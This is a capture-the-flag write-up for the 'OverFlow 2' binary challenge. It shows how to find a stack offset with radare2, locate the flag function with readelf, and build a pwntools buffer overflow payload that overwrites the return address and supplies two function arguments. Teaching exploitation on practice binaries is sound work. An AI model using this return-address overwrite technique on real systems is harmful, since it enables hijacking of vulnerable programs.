OverFlow 2


Now try overwriting arguments. Can you get the flag from this program? You can find it in /problems/overflow-2_2_47d6bbdfb1ccd0d65a76e6cbe0935b0f on the shell server. Source.


  1. Find the offset/padding

    1. You can use the method described in rop64 with the cyclic and cyclic_find or you can use the following

    2. Open vuln in radare2 with r2 ./vuln

    3. Run aaaa

    4. Run pdf @ sym.vuln to get var int local_b8h @ ebp-0xb8

    5. The 0xb8 is the buffer location so 4 more bytes are needed to get past the "saved ebp register"

    6. So the offset is 0xb8+4

  2. Run readelf -s vuln to get the address of flag: 0x080485e6

  3. We can use p32 from pwntools to convert the hex addresses to little endian.

  4. We need to pad out the second return address with 'a'*4 so that goes next in the payload

  5. Now we can add the two function arguments in little endian using p32

  6. Payload complete: python2 -c "from pwn import *; print 'a'*(0xb8+4)+p32(0x080485e6)+'a'*4+p32(0xDEADBEEF)+p32(0xC0DED00D)" | ./vuln



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